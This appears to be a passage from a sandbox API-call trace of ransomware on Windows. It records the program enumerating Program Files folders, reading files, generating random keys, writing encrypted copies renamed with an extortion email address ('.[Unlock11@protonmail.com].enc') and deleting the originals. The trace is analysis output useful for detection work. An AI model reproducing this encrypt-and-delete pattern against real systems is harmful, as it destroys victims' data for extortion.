[0229.583] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0229.584] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\logs\\maintenanceservice-install.log")) returned 0x20 [0229.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0229.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0229.584] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log", lpFilePart=0x9bada4*="maintenanceservice-install.log") returned 0x56 [0229.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0229.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0229.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0229.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0229.585] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\logs\\maintenanceservice-install.log"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3b1257, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa4)) returned 1 [0229.585] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f84 | out: pbBuffer=0x3671f84) returned 1 [0229.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0229.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0229.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0229.586] CreateFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\logs\\maintenanceservice-install.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.586] GetFileType (hFile=0x334) returned 0x1 [0229.586] GetFileType (hFile=0x334) returned 0x1 [0229.586] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.586] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.586] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.586] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.587] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.587] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.587] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.587] CreateFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\logs\\maintenanceservice-install.log.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.587] GetFileType (hFile=0x39c) returned 0x1 [0229.588] GetFileType (hFile=0x39c) returned 0x1 [0229.588] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.588] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.588] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.588] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.588] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.588] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.588] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.590] CloseHandle (hObject=0x39c) returned 1 [0229.590] CloseHandle (hObject=0x334) returned 1 [0229.590] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\maintenanceservice-install.log" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\logs\\maintenanceservice-install.log")) returned 1 [0229.591] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a10 [0229.592] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.592] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0229.592] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0229.592] FindClose (in: hFindFile=0x10f7a10 | out: hFindFile=0x10f7a10) returned 1 [0229.593] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft" (normalized: "c:\\program files (x86)\\msbuild\\microsoft")) returned 0x10 [0229.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0229.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0229.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0229.593] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0229.593] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.594] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0229.594] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0229.594] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0229.595] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation")) returned 0x10 [0229.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0229.595] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0229.595] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7810 [0229.595] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.596] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="v3.0", cAlternateFileName="")) returned 1 [0229.596] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="v3.5", cAlternateFileName="")) returned 1 [0229.596] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="v3.5", cAlternateFileName="")) returned 0 [0229.596] FindClose (in: hFindFile=0x10f7810 | out: hFindFile=0x10f7810) returned 1 [0229.596] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0")) returned 0x10 [0229.617] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21f8 | out: hHeap=0x2ad0000) returned 1 [0229.617] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0229.618] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5")) returned 0x10 [0229.618] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0229.618] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0229.618] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.618] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x6fe2771d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6fe2771d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0229.619] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x6fe2771d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6fe2771d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 1 [0229.619] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x6fe2771d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6fe2771d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 0 [0229.619] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0229.619] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets")) returned 0x20 [0229.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0229.619] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0229.620] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets")) returned 0x20 [0229.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0229.620] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets", lpFilePart=0x9bada4*="Workflow.Targets") returned 0x5a [0229.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0229.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0229.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0229.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0229.621] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets", lpFilePart=0x9bada4*="Workflow.VisualBasic.Targets") returned 0x66 [0229.621] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0229.621] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7850 [0229.621] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.621] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5733fb2f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5733fb2f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd469ff00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0229.621] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5733fb2f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5733fb2f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd469ff00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0229.622] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5733fb2f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5733fb2f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd469ff00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0229.622] FindClose (in: hFindFile=0x10f7850 | out: hFindFile=0x10f7850) returned 1 [0229.622] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets")) returned 0x20 [0229.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de820 | out: hHeap=0x2ad0000) returned 1 [0229.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0229.623] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets")) returned 0x20 [0229.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0229.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0229.623] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", lpFilePart=0x9bada4*="Workflow.Targets") returned 0x5a [0229.624] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", lpFilePart=0x9bada4*="Workflow.VisualBasic.Targets") returned 0x66 [0229.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0229.624] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7810 [0229.624] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.625] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, 